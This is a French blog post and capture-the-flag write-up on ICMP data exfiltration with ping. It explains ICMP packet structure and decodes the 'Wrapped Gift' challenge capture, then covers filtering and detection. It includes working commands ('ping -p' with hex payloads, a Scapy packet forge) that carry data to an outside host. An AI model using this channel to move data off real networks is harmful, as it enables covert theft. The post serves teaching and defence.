Introduction

2 ans après mon article sur le VLAN Hopping, j’ai enfin trouvé le temps (et la motivation) d’écrire un nouvel article à propos d’une technique d’exfiltration de données via un protocol réseau très commun! Cette année, chez Root-Me, nous avons organisé le Root-Xmas, notre propre calendrier de l’avent (1 challenge/jour :))

J’ai pu créer quelques challenges qui ont je l’espère occupé les joueurs. Quoi qu’il en soit, j’ai remarqué qu’un de ces challenges que je pensais trivial lors de sa création s’est en fait avéré plus compliqué que prévu. Même pami les personnes l’ayant “réussi”, la compréhension de ce qu’il s’était réellement passé était limitée.

Ce challenge intitulé ‘Wrapped Gift’ était disponible dans la catégorie Réseau et consistait à la détection et au décodage d’une exfiltration ICMP réalisée à l’aide de l’outil ping.

En premier lieu, nous ferons quelques rappels sur ICMP et comment c’est un protocole réseau très puissant. Nous aborderons après les concepts d’exilftration de donnée et comment celle-ci fonctionne en détails, ensuite nous plongerons au coeur de la résolution de mon challenge. Enfin, nous terminerons avec quelques méchanismes de bloquage et de détection permettant de se prémunir de ce type d’exploit sur le réseau.

Si vous êtes uniquement intéressé par la résolution du challenge (ce qui serait dommage, vous pourriez apprendre des choses dans les autres sections), vous pouvez directement vous rendre ici

ICMP

Rappels

📖 Le protocole ICMP (Internet Control Message Protocol) est un protocole de support de la suite de protocoles Internet. Il est utilisé par les dispositifs de réseau, y compris les routeurs, pour envoyer des messages d’erreur et des informations opérationnelles indiquant le succès ou l’échec d’une communication avec une autre adresse IP. (Wikipedia)

Trop souvent simplifié en ping (qui sont en fait des requêtes echo requests/replies ICMP, ping n’est que l’outil), le protocole ICMP (couche 3 du modèle OSI et 2 du modèle TCP/IP) permet un très large eventail de possibilités. C’est un puissant outil de déboguage pour les ingénieurs/techniciens réseau, administrateurs systèmes et toute personne voulant parfois comprendre pourquoi les choses ne marchent pas comme prévu.

mfw_meme

⚠️ Le protocole ICMP n’est prévu pour fonctionner que sur la pile IPv4, quant il s’agit d’IPv6, c’est le protocole ICMPv6 qui est son remplaçant :).

ICMP porte des “messages” qui permettront de transmettre des informations à propos de l’état d’un réseau/service, sa disponibilité, son accesibilité. Ces messages peuvent être envoyés à n’importe quel hôte que ce soit un équipement de terminaison (ordinateur, serveur, imprimante…) ou un routeur. Les différents messages possibles sont définis par des types et des codes. Voici une liste non-exhaustive de types et codes connus:

Type Code Descripition
0 (Echo) 0 Echo reply
3 (Destination unreachable) 0 Destination network unreachable
3 (Destination unreachable) 1 Destination host unreachable
3 (Destination unreachable) 9 Network administratively prohibited
3 (Destination unreachable) 10 Host administratively prohibited
8 (Echo) 0 Echo request
11 (Time exceeded) 0 Time to live (TTL) expired in transit

Même si vous n’êtes pas très familier avec les protocoles réseaux etc, vous avez sûrement remarqué qu’ICMP peut se montrer très pratique pour du déboguage, mais aussi très dangereux. Il pourrait par exemple permettre à un attaquant d’énumérer des réseaux administrativement bloqués.

Structure d’un paquet ICMP

Prenons les paquets ICMP les plus communs que vous pouvez rencontrer, les echo replies et requests, et décortiquons leur structure (nous n’irons pas au delà d’ICMP, IP et Ethernet ne seront pas abordés). Typiquement, voici la structure d’un packet faisant usage d’ICMP (avec l’outil ping sur une distribution basée sur Debian):

icmp_packet

Entrons maintenant dans les détails du paquet ICMP: icmp_detail

Nous remarquons que le paquet est fait de:

  • un type ICMP
  • un code ICMP
  • une somme de contrôle ICMP
  • un identifiant unique, afin de garder la trace de l’échange en cours
  • un numéro de séquence permettant de suivre les échanges dans l’ordre
  • un timestamp, donnant l’heure exacte à laquelle le message a été émis
  • une charge utile de données aléatoires contenue à la fin du paquet

⚠️ Les RFCs ICMP (RFC792, RFC4884) ne specifient pas de longueur pour la charge utile. En fait le protocole ICMP est plutôt permissif, beaucoup de choses sont sujettes à l’implémentation d’un constructeur/développeur ce qui signifie qu’ICMP est aussi très puissant pour ‘fingerprinter’ les systèmes d’exploitation, voir ce papier pour une introduction au fingerprinting ICMP

Selon la RFC792, voici la structure d’une requête echo reply/request:

0                   1                   2                   3
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     Type      |     Code      |          Checksum             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           Identifier          |        Sequence Number        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     Data ...
+-+-+-+-+-

Nous pouvons remarquer quelques différences avec le paquet que nous avons envoyé précedemment. Comme dit, le protocole ICMP est sujet à des adaptations ’locales’, ce qui signifie q’ici, ping utilise une partie de la donnée pour transmettre un timestamp.

La section data

Pour faire une requête ICMP valide, nous avons besoin de 5 éléments qui constituent ce qu’on appelle l’entête ICMP:

  • un type
  • un code
  • une somme de contrôle
  • un identifiant
  • un numéro de séquence

Pour prouver notre point, voici un échange echo request/reply valide de mon laptop vers mon serveur: icmp_no_data

Nous remarquerons qu’il n’y a aucune donnée à la fin du paquet dans cet échange (usage de l’option -s), seulement l’entête.

╰─λ ping bwlryq.net -c 1 -s 0
PING bwlryq.net (51.91.27.213) 0(28) bytes of data.
8 bytes from bwlryq.net (51.91.27.213): icmp_seq=1 ttl=51

--- bwlryq.net ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms

Voici un autre exemple cette fois-ci avec de la donnée: icmp_with_data

╰─λ ping bwlryq.net -c 1
PING bwlryq.net (51.91.27.213) 56(84) bytes of data.
64 bytes from bwlryq.net (51.91.27.213): icmp_seq=1 ttl=51 time=47.5 ms

--- bwlryq.net ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 47.500/47.500/47.500/0.000 ms

Mais alors, si un paquet ICMP echo request/reply est valide, même sans donnée, à quoi sert-elle? Pourquoi est-il même utile de l’avoir? Eh bien, souvenons-nous que l’origine même d’ICMP est de permettre le déboguage, ce qui créé sa dangerosité. Avoir la possibilité d’ajouter de la donnée ‘aléatoire’ à la fin d’une requête ICMP permet de multiples choses :

  • Tester qu’il n’y a aucune altération des données entre notre hôte et l’hôte distant
  • Avoir une taille de paquet plus réaliste
  • Vérifier et gérer le MTU (Maximal Transmission Unit) qui définit la taille maximale d’un paquet avant d’être fragmenté.

Exfiltration de données

Tout comme pour sa taille, la RFC792 ne spécifie pas quel doit être le contenu de la donnée transmise pour former un paquet valide. Ce qui signifie que n’importe quoi peut être transmis. Selon le manuel de ping, l’option -p dit que:

Vous pouvez spécifier jusqu’à 16 octets de “pad” pour compléter le paquet que vous envoyez. Ceci est utile pour diagnostiquer les problèmes liés aux données dans un réseau. Par exemple, -p ff fera en sorte que le paquet envoyé soit rempli de tous les f.’

Essayons quelque chose en convertissant un simple message en hexadecimal (pour que ping le prenne) en utilisant un peu de bash :

user@laptop in ⌁
╰─λ echo -n "Hello readers" | xxd -p
48656c6c6f2072656164657273
╭─user@laptop in ⌁
╰─λ ping bwlryq.net -c 1 -p '48656c6c6f2072656164657273'
PATTERN: 0x48656c6c6f2072656164657273
PING bwlryq.net (51.91.27.213) 56(84) bytes of data.
64 bytes from bwlryq.net (51.91.27.213): icmp_seq=1 ttl=51 time=34.0 ms

--- bwlryq.net ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 34.015/34.015/34.015/0.000 ms

En analysant notre message ICMP dans Wireshark, nous pouvons clairement voir que notre Hello readers a été envoyé au travers de l’echo request ICMP (et dans le reply aussi, faites-moi confiance): icmp_exfil_1

En utilisant cette technique, il est possible d’envoyer tout type de donnée (tant que celle-ci est proprement encodée) au travers de requêtes ICMP. Plus la donnée exfiltrée est grosse, plus le nombre de requêtes ICMP nécessaires sera élevé (la taille de la donnée peut être augmentée évidemment, afin d’en mettre le plus possible dans un paquet, mais gardez à l’esprit que ce sera plus suspect). Il est également possible d’automatiser tout ce processus d’extraction à l’aide de n’importe quel outil de programmation/scripting.

success

Retirer le padding pour envoyer plus de données

Une chose qui peut se montrer bloquante pour de l’exfiltration de données avec ping est que nous sommes limités à 16 octers par parquet en utilisant l’option -p. Encore une fois, la RFC792 ne préciste rien à propos de la donnée étant cyclique et répétitive, il s’agit juste de la façon dont ping a été implémenté.

Débarassons-nous de cette limite de 16 octets. Si vous avez déjà un jour essayé de manipuler des paquets réseau, vous connaissez certainement Scapy (si ce n’est pas le cas, demandez à votre moteur de recherche préféré ou bien à un GPT). En utilisant Scapy, nous pouvons forger nos propres echo requests ICMP et envoyer n’importe quelle donnée:

from scapy.all import ICMP, IP, sr
from pwn import cyclic

sr(IP(dst='bwlryq.net')/ICMP(type=8, code=0, id=0x1337, seq=1)/cyclic(56))

# si vous ne mettez pas manuellement un identifiant et un numéro de séquence, Scapy les mettra à 0 et votre hôte distant renverra un checksum invalide
# 56 octets car nous répliquons ici le comportement par défaut de ping (timestamp (8) et data (48))

'''Sortie:
Begin emission
...
Finished sending 1 packets
*
Received 1 packets, got 1 answers, remaining 0 packets
(<Results: TCP:0 UDP:0 ICMP:1 Other:0>, <Unanswered: TCP:0 UDP:0 ICMP:0 Other:0>)
'''

En regardant les résultats de notre analyseur de trames préféré: no_padding_exfil

Nous pouvons confirmer que notre donnée est correctement envoyée sans aucune répétion. En définitive, en restant dans les clous d’un paquet ICMP standard (la taille de la donnée varie légèrement en fonction des OS), sans trop d’efforts, nous avons multiplié notre capacité d’envoi par 3,5 (toujours mieux que rien).

cool

Wrapped Gift challenge

Enoncé

Maintenant, jetons un oeil à ce qui a titillé les joueurs. Ce challenge que j’ai conçu était le Jour 2 du calendrier de l’avent Root-Me 2024.

Name Description Difficulty Author Number of solves
WrappedGift According to our information, one of our auditors’ workstations has been compromised, and some even claim that data has been exfiltrated. Here’s a network capture from the suspected workstation. Can you confirm the diagnosis made by our experts? Easy Mika 292

Téléchargement

Analyse du PCAP

Selon l’énoncé, de la donnée a été exfiltrée de l’ordinateur de quelqu’un. La première chose à faire quand un fichier PCAP plutôt lourd nous est fourni (16000 paquets ici) est d’essayer de se faire une idée de son contenu (grossièrement).

pcap_review

La hiérarchie des protocoles, dans le menu des statistiques est généralement un bon point d’entrée: protocol_hierarchy

La première chose à remarquer est que les protocoles présents sont très peu nombreux:

  • DNS
  • ICMP
  • HTTP
  • TLS (qui n’est pas réellement un protocole en lui-même)
  • QUIC

QUIC et TLS étant chiffrés, à moins d’être mis sur la voie qu’il y a une façon pour nous de les déchiffrer, nous pouvons les mettre de côté. Le filtre Wireshark suivant: (dns || http || data || icmp) nous permet de descendre à 486 paquets, ce qui est bien plus digeste:

Une analyse approfondie des requêetes DNS ne montre aucune indication qu’il y a eu de la donnée exfiltrée au travers d’une technique appelée Exfiltration DNS

En retirant le protocole DNS de notre filtre, le protocole présent en plus grande quantité est ICMP. En regardant au travers des paquets, nous pouvons remarquer que chaque message à destination de 212.129.38.224 comprend une charge utile changeante ce qui n’est pas commun, bien que la longueur n’ait rien d’anormal. exfil_1

exfil_1

Et cela continue pour toutes les requêtes…

Data extraction

La donnée semble envoyée au format hexadécimal, si nous tentons de la décoder (à partir de 45 72 72...):

╭─user@laptop in ⌁
╰─λ echo -n "34353732373236663732336132303730343537323732366637323361323037303435373237323666" | xxd -r -p
4572726f723a20704572726f723a20704572726f
╭─user@laptop in ⌁
╰─λ echo -n "4572726f723a20704572726f723a20704572726f" | xxd -r -p
Error: pError: pErro

Nous obtenons un petit morceau de données, nous avons seulement besoin d’appliquer le même processus à l’ensemble de la capture. La commande suivante fait le travail :

╰─λ tshark -r ./chall.pcapng -Y 'icmp && ip.dst == 212.129.38.224' -T fields -e data | cut -c 17-48 | xxd -r -p | tr -d '\0' | xxd -r -p
Error: ping: invalid argument: 'www.root-me.org'
PRETTY_NAME="Kali GNU/Linux Rolling"
NAME="Kali GNU/Linux"
VERSION_ID="2024.3"
VERSION="2024.3"
VERSION_CODENAME=kali-rolling
ID=kali
ID_LIKE=debian
HOME_URL="https://www.kali.org/"
SUPPORT_URL="https://forums.kali.org/"
BUG_REPORT_URL="https://bugs.kali.org/"
ANSI_COLOR="1;31"
Hey you found me! Well done!RM{M3rry_Chr1stM4s_R00T-M3}

🔎 Nous découpons les 8 premiers octets au début de la donnée et récupérons uniquement les 32 premiers charactères (16 octets) car le reste est simplement du padding dont nous n’avons pas besoin.

Il semble que nous ayons trois choses distinctes dans cette capture, un appel à ping en erreur, le contenu de /etc/os-release et finalement notre flag!

Contre-mesures

Comme nous l’avons vu, ICMP est une sorte de machin qui permet de faire plus que de simples tests pour voir si un hôte est joignable quelque part sur le réseau (ou sur Internet). C’est pourquoi nous allons maintenant examiner différentes façons de réduire la possibilité que vos données soient exfiltrées par le biais de cette méthode.

Filtering

La première option (et la plus efficace) consiste simplement à bloquer administrativement les requêtes ICMP sur vos réseaux (à l’aide de pare-feu). Il n’y a aucune raison pour que les utilisateurs finaux de votre SI ou les biens (serveurs, imprimantes…) aient besoin d’utiliser un tel protocole (en dehors de la supervision).

Il suffit de ‘dropper’ l’ICMP provenant de tout ce qui n’est pas un serveur de supervision et d’interdire à toute requête ICMP de sortir sur l’Internet (ou de le restreindre à un nombre limité d’hôtes de confiance). Maintenant, si en tant qu’administrateur de réseau vous avez besoin d’utiliser ICMP, il suffit de l’autoriser pour le temps d’utilisation pour les bons hôtes, pas de règles any any, n’est-ce pas ? :)

no_icmp

Detection

Il est facile de dire aux gens de ‘dropper’ un protocole, mais dans la pratique, ce n’est pas si simple. J’ai vu beaucoup de réseaux d’entreprises qui autorisent encore ICMP (pour de nombreuses bonnes et mauvaises raisons), c’est pourquoi une solution consiste à surveiller le réseau à l’aide de solutions de surveillance, en recherchant les éléments suivants:

  • une taille de paquets ICMP anormalement longue
  • paquets ICMP vers des hôtes non fiables
  • une entropie élevée des données ICMP

Conclusion

Mieux cacher la donnée et limiter sa lisibilité

On pourrait dire que dans les exemples ci-dessus, l’exfiltration de données est facilement repérable en cherchant simplement dans une capture Wireshark, et ce serait vrai.

L’objectif de mon challenge n’est pas de faire une exfiltration digne des ‘Threat Actors’ (non pas qu’ils utilisent réellement cette technique), mais plutôt de faire participer les gens à notre événement pour qu’ils apprennent de nouvelles choses. Si nous voulions vraiment cacher les données, nous pourrions facilement utiliser (par exemple) :

  • l’encodage base64
  • compression zlib
  • chiffrement

Il serait même possible de chaîner tous les éléments ci-dessus et de rendre le travail d’un analyste beaucoup plus difficile.

Détection par les solutions de sécurité

Je n’ai pas pu mettre la main sur des solutions anti-virales, EDR, IPS, IDS ’entreprise ready’ afin de tester si l’exfiltration ICMP a été bloquée ou non, ce qui est sûr c’est que les AV typiques comme Defender (même avec les options azure cloud (blablabla) activées) ne détecte rien. Si jamais certains d’entre vous ont des données plus fiables, je vous donnerai volontiers le crédit (si on me le demande) et je mettrai à jour cette section :).

Solution Type Detects ICMP exfil
Windows Defender AV No
Netskope IDS Yes

Conclusion personnelles

Même si l’exfiltration ICMP n’est pas très courante (en raison de ses nombreuses limitations), elle peut toujours être utilisée plus d’une fois, vous n’avez pas besoin de beaucoup de requêtes pour exfiltrer une clé privée par exemple (quick win). Si jamais vous pensez qu’il y a des précisions/corrections qui devraient être appliquées à cet article, contactez-moi sur Twitter ou Discord : @mvka.

Vous êtes arrivés jusqu’ici ! Tout d’abord, merci d’avoir pris le temps de lire cet article. N’hésitez pas à le partager sur les réseaux sociaux si vous l’avez apprécié. Bravo à toutes les personnes inroyables de la communauté de Root-Me et au staff qui ont rendu cet événement possible en fournissant des challenges et leur temps <3.

On se revoit dans un ou deux ans!